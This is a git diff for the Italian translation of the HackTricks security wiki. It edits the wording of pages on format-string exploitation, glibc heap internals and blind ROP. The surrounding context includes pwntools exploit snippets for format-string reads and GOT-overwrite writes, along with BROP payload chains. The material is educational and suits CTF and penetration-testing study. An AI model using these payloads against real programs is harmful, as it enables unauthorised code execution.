Translated ['README.md', 'binary-exploitation/format-strings/README.md',
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 108 KiB |
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 63 KiB |
Before Width: | Height: | Size: 63 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 4.1 KiB |
Before Width: | Height: | Size: 4.1 KiB After Width: | Height: | Size: 131 KiB |
Before Width: | Height: | Size: 131 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 82 KiB |
Before Width: | Height: | Size: 82 KiB After Width: | Height: | Size: 107 KiB |
13
README.md
|
@ -2,10 +2,10 @@
|
|||
|
||||
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_I loghi e il design in movimento di Hacktricks sono stati creati da_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
_I loghi e il design in movimento di Hacktricks sono di_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
{% hint style="success" %}
|
||||
**Benvenuto nella wiki dove troverai ogni trucco/tecnica/hacking che ho imparato da CTF, applicazioni della vita reale, lettura di ricerche e notizie.**
|
||||
**Benvenuto nella wiki dove troverai ogni trucco/tecnica/qualcosa che ho imparato da CTF, app della vita reale, lettura di ricerche e notizie.**
|
||||
{% endhint %}
|
||||
|
||||
Per iniziare, segui questa pagina dove troverai il **flusso tipico** che **dovresti seguire quando fai pentesting** su una o più **macchine:**
|
||||
|
@ -44,7 +44,7 @@ Puoi controllare il loro **blog** in [**https://blog.stmcyber.com**](https://blo
|
|||
|
||||
**Intigriti** è la **piattaforma di hacking etico e bug bounty numero 1 in Europa.**
|
||||
|
||||
**Suggerimento bug bounty**: **iscriviti** a **Intigriti**, una premium **piattaforma di bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi e inizia a guadagnare ricompense fino a **$100,000**!
|
||||
**Suggerimento bug bounty**: **iscriviti** a **Intigriti**, una premium **piattaforma di bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare ricompense fino a **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -65,7 +65,7 @@ Accedi oggi:
|
|||
|
||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (50).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||
|
||||
|
@ -79,7 +79,7 @@ Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmw
|
|||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Il toolkit essenziale per il penetration testing
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
|
@ -87,9 +87,6 @@ Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmw
|
|||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
{% endembed %}
|
||||
|
||||
***
|
||||
|
||||
### [SerpApi](https://serpapi.com/)
|
||||
|
|
|
@ -8,16 +8,16 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
Se sei interessato a una **carriera nell'hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -84,15 +84,15 @@ printf("%4$x")
|
|||
```
|
||||
e leggere direttamente il quarto.
|
||||
|
||||
Nota che l'attaccante controlla il parametro `printf`, **il che significa fondamentalmente che** il suo input sarà nello stack quando viene chiamato `printf`, il che significa che potrebbe scrivere indirizzi di memoria specifici nello stack.
|
||||
Nota che l'attaccante controlla il `printf` **parametro, il che significa fondamentalmente che** il suo input sarà nello stack quando viene chiamato `printf`, il che significa che potrebbe scrivere indirizzi di memoria specifici nello stack.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Un attaccante che controlla questo input sarà in grado di **aggiungere indirizzi arbitrari nello stack e far accedere `printf` a essi**. Nella sezione successiva verrà spiegato come utilizzare questo comportamento.
|
||||
Un attaccante che controlla questo input, sarà in grado di **aggiungere indirizzi arbitrari nello stack e far accedere `printf` a essi**. Nella sezione successiva verrà spiegato come utilizzare questo comportamento.
|
||||
{% endhint %}
|
||||
|
||||
## **Lettura Arbitraria**
|
||||
|
||||
È possibile utilizzare il formato **`%n$s`** per far sì che **`printf`** ottenga l'**indirizzo** situato nella **n posizione**, seguendolo e **stamparlo come se fosse una stringa** (stampa fino a quando non viene trovato un 0x00). Quindi, se l'indirizzo base del binario è **`0x8048000`**, e sappiamo che l'input dell'utente inizia nella quarta posizione nello stack, è possibile stampare l'inizio del binario con:
|
||||
È possibile utilizzare il formattatore **`%n$s`** per far sì che **`printf`** ottenga l'**indirizzo** situato nella **n posizione**, seguendolo e **stamparlo come se fosse una stringa** (stampa fino a quando non viene trovato un 0x00). Quindi, se l'indirizzo base del binario è **`0x8048000`**, e sappiamo che l'input dell'utente inizia nella 4ª posizione nello stack, è possibile stampare l'inizio del binario con:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -151,11 +151,11 @@ p.close()
|
|||
Le letture arbitrarie possono essere utili per:
|
||||
|
||||
* **Dump** il **binary** dalla memoria
|
||||
* **Accedere a parti specifiche della memoria dove sono memorizzate informazioni sensibili** (come canarie, chiavi di crittografia o password personalizzate come in questa [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
* **Accedere a parti specifiche della memoria dove sono memorizzate informazioni sensibili** (come canary, chiavi di crittografia o password personalizzate come in questa [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
|
||||
## **Scrittura Arbitraria**
|
||||
|
||||
Il formatter **`%<num>$n`** **scrive** il **numero di byte scritti** nell'**indirizzo indicato** nel parametro \<num> nello stack. Se un attaccante può scrivere quanti più caratteri desidera con printf, sarà in grado di far scrivere a **`%<num>$n`** un numero arbitrario in un indirizzo arbitrario.
|
||||
Il formatter **`%<num>$n`** **scrive** il **numero di byte scritti** nell'**indirizzo indicato** nel parametro \<num> nello stack. Se un attaccante può scrivere quanti più caratteri possibile con printf, sarà in grado di far scrivere a **`%<num>$n`** un numero arbitrario in un indirizzo arbitrario.
|
||||
|
||||
Fortunatamente, per scrivere il numero 9999, non è necessario aggiungere 9999 "A" all'input; per farlo è possibile utilizzare il formatter **`%.<num-write>%<num>$n`** per scrivere il numero **`<num-write>`** nell'**indirizzo puntato dalla posizione `num`**.
|
||||
```bash
|
||||
|
@ -166,7 +166,7 @@ Tuttavia, nota che di solito per scrivere un indirizzo come `0x08049724` (che è
|
|||
|
||||
Pertanto, questa vulnerabilità consente di **scrivere qualsiasi cosa in qualsiasi indirizzo (scrittura arbitraria).**
|
||||
|
||||
In questo esempio, l'obiettivo sarà **sovrascrivere** l'**indirizzo** di una **funzione** nella tabella **GOT** che verrà chiamata successivamente. Anche se questo potrebbe abusare di altre tecniche di scrittura arbitraria per exec:
|
||||
In questo esempio, l'obiettivo sarà **sovrascrivere** l'**indirizzo** di una **funzione** nella tabella **GOT** che verrà chiamata successivamente. Anche se questo potrebbe abusare di altre tecniche di scrittura arbitraria per eseguire:
|
||||
|
||||
{% content-ref url="../arbitrary-write-2-exec/" %}
|
||||
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
||||
|
@ -225,7 +225,7 @@ p.interactive()
|
|||
|
||||
È possibile abusare delle azioni di scrittura di una vulnerabilità di formato stringa per **scrivere negli indirizzi dello stack** e sfruttare un tipo di vulnerabilità di **buffer overflow**.
|
||||
|
||||
## Altri Esempi & Riferimenti
|
||||
## Altri Esempi e Riferimenti
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
|
@ -235,9 +235,9 @@ p.interactive()
|
|||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||
* 32 bit, relro, no canary, nx, no pie, stringa di formato per sovrascrivere l'indirizzo `fflush` con la funzione win (ret2win)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||||
* 32 bit, relro, no canary, nx, no pie, stringa di formato per scrivere un indirizzo dentro main in `.fini_array` (così il flusso torna indietro 1 volta in più) e scrivere l'indirizzo a `system` nella tabella GOT puntando a `strlen`. Quando il flusso torna a main, `strlen` viene eseguito con input dell'utente e puntando a `system`, eseguirà i comandi passati.
|
||||
* 32 bit, relro, no canary, nx, no pie, stringa di formato per scrivere un indirizzo dentro main in `.fini_array` (così il flusso torna indietro un'altra volta) e scrivere l'indirizzo a `system` nella tabella GOT puntando a `strlen`. Quando il flusso torna a main, `strlen` viene eseguito con input dell'utente e puntando a `system`, eseguirà i comandi passati.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
|
@ -251,5 +251,5 @@ Supporta HackTricks
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos github.
|
||||
{% endhint %}
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
## Heap Basics
|
||||
|
||||
L'heap è fondamentalmente il luogo in cui un programma può memorizzare dati quando richiede dati chiamando funzioni come **`malloc`**, `calloc`... Inoltre, quando questa memoria non è più necessaria, viene resa disponibile chiamando la funzione **`free`**.
|
||||
L'heap è fondamentalmente il luogo dove un programma può memorizzare dati quando richiede dati chiamando funzioni come **`malloc`**, `calloc`... Inoltre, quando questa memoria non è più necessaria, viene resa disponibile chiamando la funzione **`free`**.
|
||||
|
||||
Come mostrato, si trova subito dopo dove il binario viene caricato in memoria (controlla la sezione `[heap]`):
|
||||
|
||||
|
@ -10,7 +10,7 @@ Come mostrato, si trova subito dopo dove il binario viene caricato in memoria (c
|
|||
|
||||
### Basic Chunk Allocation
|
||||
|
||||
Quando vengono richiesti dati da memorizzare nell'heap, viene allocato uno spazio nell'heap per essi. Questo spazio apparterrà a un bin e solo i dati richiesti + lo spazio degli header del bin + l'offset della dimensione minima del bin saranno riservati per il chunk. L'obiettivo è riservare la minima memoria possibile senza rendere complicato trovare dove si trova ciascun chunk. A questo scopo, vengono utilizzate le informazioni sui chunk di metadata per sapere dove si trova ciascun chunk utilizzato/libero.
|
||||
Quando alcuni dati vengono richiesti per essere memorizzati nell'heap, viene allocato uno spazio nell'heap per essi. Questo spazio apparterrà a un bin e solo i dati richiesti + lo spazio degli header del bin + l'offset della dimensione minima del bin saranno riservati per il chunk. L'obiettivo è riservare la minima memoria possibile senza rendere complicato trovare dove si trova ciascun chunk. A questo scopo, vengono utilizzate le informazioni sui chunk di metadata per sapere dove si trova ciascun chunk utilizzato/libero.
|
||||
|
||||
Ci sono diversi modi per riservare lo spazio, principalmente a seconda del bin utilizzato, ma una metodologia generale è la seguente:
|
||||
|
||||
|
@ -27,19 +27,19 @@ Nota che se la **memoria richiesta supera una soglia**, **`mmap`** verrà utiliz
|
|||
|
||||
Nelle applicazioni **multithreaded**, il gestore dell'heap deve prevenire **race conditions** che potrebbero portare a crash. Inizialmente, questo veniva fatto utilizzando un **mutex globale** per garantire che solo un thread potesse accedere all'heap alla volta, ma questo causava **problemi di prestazioni** a causa del collo di bottiglia indotto dal mutex.
|
||||
|
||||
Per affrontare questo problema, l'allocatore di heap ptmalloc2 ha introdotto "aree", dove **ogni arena** funge da **heap separato** con le proprie **strutture** di dati e **mutex**, consentendo a più thread di eseguire operazioni sull'heap senza interferire tra loro, purché utilizzino aree diverse.
|
||||
Per affrontare questo problema, l'allocatore di heap ptmalloc2 ha introdotto "arenas", dove **ogni arena** funge da **heap separato** con le proprie **strutture** di **dati** e **mutex**, consentendo a più thread di eseguire operazioni sull'heap senza interferire tra loro, purché utilizzino arene diverse.
|
||||
|
||||
L'arena "principale" predefinita gestisce le operazioni sull'heap per applicazioni a thread singolo. Quando vengono aggiunti **nuovi thread**, il gestore dell'heap assegna loro **aree secondarie** per ridurre la contesa. Prima tenta di collegare ciascun nuovo thread a un'arena non utilizzata, creando nuove aree se necessario, fino a un limite di 2 volte il numero di core CPU per sistemi a 32 bit e 8 volte per sistemi a 64 bit. Una volta raggiunto il limite, **i thread devono condividere le aree**, portando a potenziali conflitti.
|
||||
L'arena "principale" predefinita gestisce le operazioni sull'heap per applicazioni a thread singolo. Quando vengono aggiunti **nuovi thread**, il gestore dell'heap assegna loro **arene secondarie** per ridurre la contesa. Prima tenta di collegare ciascun nuovo thread a un'arena non utilizzata, creando nuove arene se necessario, fino a un limite di 2 volte il numero di core CPU per sistemi a 32 bit e 8 volte per sistemi a 64 bit. Una volta raggiunto il limite, **i thread devono condividere le arene**, portando a potenziale contesa.
|
||||
|
||||
A differenza dell'arena principale, che si espande utilizzando la chiamata di sistema `brk`, le aree secondarie creano "subheaps" utilizzando `mmap` e `mprotect` per simulare il comportamento dell'heap, consentendo flessibilità nella gestione della memoria per operazioni multithreaded.
|
||||
A differenza dell'arena principale, che si espande utilizzando la chiamata di sistema `brk`, le arene secondarie creano "subheaps" utilizzando `mmap` e `mprotect` per simulare il comportamento dell'heap, consentendo flessibilità nella gestione della memoria per operazioni multithreaded.
|
||||
|
||||
### Subheaps
|
||||
|
||||
I subheaps servono come riserve di memoria per le aree secondarie nelle applicazioni multithreaded, consentendo loro di crescere e gestire le proprie regioni di heap separatamente dall'heap principale. Ecco come i subheaps differiscono dall'heap iniziale e come operano:
|
||||
I subheaps servono come riserve di memoria per le arene secondarie nelle applicazioni multithreaded, consentendo loro di crescere e gestire le proprie regioni heap separatamente dall'heap principale. Ecco come i subheaps differiscono dall'heap iniziale e come operano:
|
||||
|
||||
1. **Heap Iniziale vs. Subheaps**:
|
||||
* L'heap iniziale si trova direttamente dopo il binario del programma in memoria e si espande utilizzando la chiamata di sistema `sbrk`.
|
||||
* I subheaps, utilizzati dalle aree secondarie, vengono creati tramite `mmap`, una chiamata di sistema che mappa una regione di memoria specificata.
|
||||
* I subheaps, utilizzati dalle arene secondarie, vengono creati tramite `mmap`, una chiamata di sistema che mappa una regione di memoria specificata.
|
||||
2. **Riservazione di Memoria con `mmap`**:
|
||||
* Quando il gestore dell'heap crea un subheap, riserva un grande blocco di memoria tramite `mmap`. Questa riservazione non alloca immediatamente memoria; designa semplicemente una regione che altri processi di sistema o allocazioni non dovrebbero utilizzare.
|
||||
* Per impostazione predefinita, la dimensione riservata per un subheap è di 1 MB per processi a 32 bit e 64 MB per processi a 64 bit.
|
||||
|
@ -87,10 +87,10 @@ Ci sono alcune cose interessanti da notare da questa struttura (vedi il codice C
|
|||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||
```
|
||||
* Il `mchunkptr bins[NBINS * 2 - 2];` contiene **puntatori** ai **primi e ultimi chunk** dei **bins** piccoli, grandi e non ordinati (il -2 è perché l'indice 0 non è utilizzato)
|
||||
* Pertanto, il **primo chunk** di questi bins avrà un **puntatore all'indietro a questa struttura** e l'**ultimo chunk** di questi bins avrà un **puntatore in avanti** a questa struttura. Questo significa fondamentalmente che se puoi **leakare questi indirizzi nell'arena principale** avrai un puntatore alla struttura nella **libc**.
|
||||
* Pertanto, il **primo chunk** di questi bins avrà un **puntatore all'indietro a questa struttura** e l'**ultimo chunk** di questi bins avrà un **puntatore in avanti** a questa struttura. Questo significa fondamentalmente che se puoi l**eakare questi indirizzi nell'arena principale** avrai un puntatore alla struttura nella **libc**.
|
||||
* Le strutture `struct malloc_state *next;` e `struct malloc_state *next_free;` sono liste collegate di arene
|
||||
* Il chunk `top` è l'ultimo "chunk", che è fondamentalmente **tutto lo spazio rimanente dell'heap**. Una volta che il chunk top è "vuoto", l'heap è completamente utilizzato e deve richiedere più spazio.
|
||||
* Il chunk `last reminder` proviene da casi in cui un chunk di dimensioni esatte non è disponibile e quindi un chunk più grande viene diviso, una parte del puntatore rimanente è posizionata qui.
|
||||
* Il chunk `last reminder` proviene da casi in cui un chunk di dimensione esatta non è disponibile e quindi un chunk più grande viene diviso, una parte rimanente del puntatore è posizionata qui.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||
|
||||
|
@ -180,7 +180,7 @@ Inoltre, quando disponibile, i dati dell'utente vengono utilizzati per contenere
|
|||
Nota come collegare la lista in questo modo previene la necessità di avere un array dove ogni singolo chunk è registrato.
|
||||
{% endhint %}
|
||||
|
||||
### Puntatori ai Chunk
|
||||
### Puntatori Chunk
|
||||
|
||||
Quando viene utilizzato malloc, viene restituito un puntatore al contenuto che può essere scritto (subito dopo le intestazioni), tuttavia, quando si gestiscono i chunk, è necessario un puntatore all'inizio delle intestazioni (metadati).\
|
||||
Per queste conversioni vengono utilizzate queste funzioni:
|
||||
|
@ -351,7 +351,7 @@ people extending or adapting this malloc.
|
|||
#define clear_inuse_bit_at_offset(p, s) \
|
||||
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
|
||||
```
|
||||
* Imposta intestazione e piè di pagina (quando i numeri dei chunk sono in uso)
|
||||
* Imposta l'intestazione e il piè di pagina (quando i numeri dei chunk sono in uso)
|
||||
```c
|
||||
/* Set size at head, without disturbing its use bit */
|
||||
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
|
||||
|
@ -470,17 +470,17 @@ return 0;
|
|||
|
||||
Debuggando l'esempio precedente è possibile vedere come all'inizio ci sia solo 1 arena:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Poi, dopo aver chiamato il primo thread, quello che chiama malloc, viene creata una nuova arena:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
e al suo interno si possono trovare alcuni chunk:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Bins & Memory Allocations/Frees
|
||||
## Bins & Allocazioni/Frees di Memoria
|
||||
|
||||
Controlla quali sono i bins e come sono organizzati e come la memoria viene allocata e liberata in:
|
||||
|
||||
|
@ -488,15 +488,15 @@ Controlla quali sono i bins e come sono organizzati e come la memoria viene allo
|
|||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Heap Functions Security Checks
|
||||
## Controlli di Sicurezza delle Funzioni Heap
|
||||
|
||||
Le funzioni coinvolte nell'heap eseguiranno alcuni controlli prima di eseguire le loro azioni per cercare di assicurarsi che l'heap non sia stato corrotto:
|
||||
Le funzioni coinvolte nell'heap eseguiranno determinati controlli prima di eseguire le loro azioni per cercare di assicurarsi che l'heap non sia stato corrotto:
|
||||
|
||||
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
|
||||
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## References
|
||||
## Riferimenti
|
||||
|
||||
* [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
|
||||
* [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
|
||||
|
|
|
@ -17,7 +17,7 @@ Impara e pratica Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
## Informazioni di base
|
||||
|
||||
L'obiettivo di questo attacco è essere in grado di **abuse un ROP tramite un buffer overflow senza alcuna informazione sul binario vulnerabile**.\
|
||||
L'obiettivo di questo attacco è essere in grado di **abusare di un ROP tramite un buffer overflow senza alcuna informazione sul binario vulnerabile**.\
|
||||
Questo attacco si basa sul seguente scenario:
|
||||
|
||||
* Una vulnerabilità nello stack e conoscenza di come attivarla.
|
||||
|
@ -41,7 +41,7 @@ Questo gadget consente fondamentalmente di confermare che qualcosa di interessan
|
|||
|
||||
Questa tecnica utilizza il gadget [**ret2csu**](ret2csu.md). E questo perché se accedi a questo gadget nel mezzo di alcune istruzioni ottieni gadget per controllare **`rsi`** e **`rdi`**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Questi sarebbero i gadget:
|
||||
|
||||
|
@ -78,18 +78,18 @@ La funzione **`strcmp`** imposta il registro **`rdx`** sulla lunghezza della str
|
|||
|
||||
È possibile trovare la posizione di **`strcmp`** nella PLT in base al suo comportamento utilizzando il fatto che ora possiamo controllare i 2 primi argomenti delle funzioni:
|
||||
|
||||
* strcmp(\<indirizzo non leggibile>, \<indirizzo non leggibile>) -> crash
|
||||
* strcmp(\<indirizzo non leggibile>, \<indirizzo leggibile>) -> crash
|
||||
* strcmp(\<indirizzo leggibile>, \<indirizzo non leggibile>) -> crash
|
||||
* strcmp(\<indirizzo leggibile>, \<indirizzo leggibile>) -> nessun crash
|
||||
* strcmp(\<non read addr>, \<non read addr>) -> crash
|
||||
* strcmp(\<non read addr>, \<read addr>) -> crash
|
||||
* strcmp(\<read addr>, \<non read addr>) -> crash
|
||||
* strcmp(\<read addr>, \<read addr>) -> nessun crash
|
||||
|
||||
È possibile controllare questo chiamando ciascuna voce della tabella PLT o utilizzando il **percorso lento PLT** che consiste fondamentalmente nel **chiamare una voce nella tabella PLT + 0xb** (che chiama **`dlresolve`**) seguita nello stack dal **numero di voce che si desidera sondare** (partendo da zero) per esaminare tutte le voci PLT dalla prima:
|
||||
È possibile controllare questo chiamando ciascuna voce della tabella PLT o utilizzando il **PLT slow path** che consiste fondamentalmente nel **chiamare una voce nella tabella PLT + 0xb** (che chiama **`dlresolve`**) seguita nello stack dal **numero di voce che si desidera sondare** (partendo da zero) per esaminare tutte le voci PLT dalla prima:
|
||||
|
||||
* strcmp(\<indirizzo non leggibile>, \<indirizzo leggibile>) -> crash
|
||||
* strcmp(\<non read addr>, \<read addr>) -> crash
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Andrà in crash
|
||||
* strcmp(\<indirizzo leggibile>, \<indirizzo non leggibile>) -> crash
|
||||
* strcmp(\<read addr>, \<non read addr>) -> crash
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
* strcmp(\<indirizzo leggibile>, \<indirizzo leggibile>) -> nessun crash
|
||||
* strcmp(\<read addr>, \<read addr>) -> nessun crash
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
|
||||
Ricorda che:
|
||||
|
@ -101,12 +101,12 @@ Ricorda che:
|
|||
Avendo trovato `strcmp`, è possibile impostare **`rdx`** su un valore maggiore di 0.
|
||||
|
||||
{% hint style="success" %}
|
||||
Nota che di solito `rdx` avrà già un valore maggiore di 0, quindi questo passaggio potrebbe non essere necessario.
|
||||
Nota che di solito `rdx` ospiterà già un valore maggiore di 0, quindi questo passaggio potrebbe non essere necessario.
|
||||
{% endhint %}
|
||||
|
||||
### 8. Trovare Write o equivalente
|
||||
|
||||
Infine, è necessario un gadget che esfiltri i dati per esfiltrare il binario. E in questo momento è possibile **controllare 2 argomenti e impostare `rdx` maggiore di 0.**
|
||||
Infine, è necessario un gadget che esfiltri i dati per esfiltrare il binario. E a questo punto è possibile **controllare 2 argomenti e impostare `rdx` maggiore di 0.**
|
||||
|
||||
Ci sono 3 funzioni comuni che potrebbero essere abusate per questo:
|
||||
|
||||
|
|
|
@ -15,13 +15,13 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'impossibile - **stiamo assumendo!** (_è richiesta una buona conoscenza del polacco scritto e parlato_).
|
||||
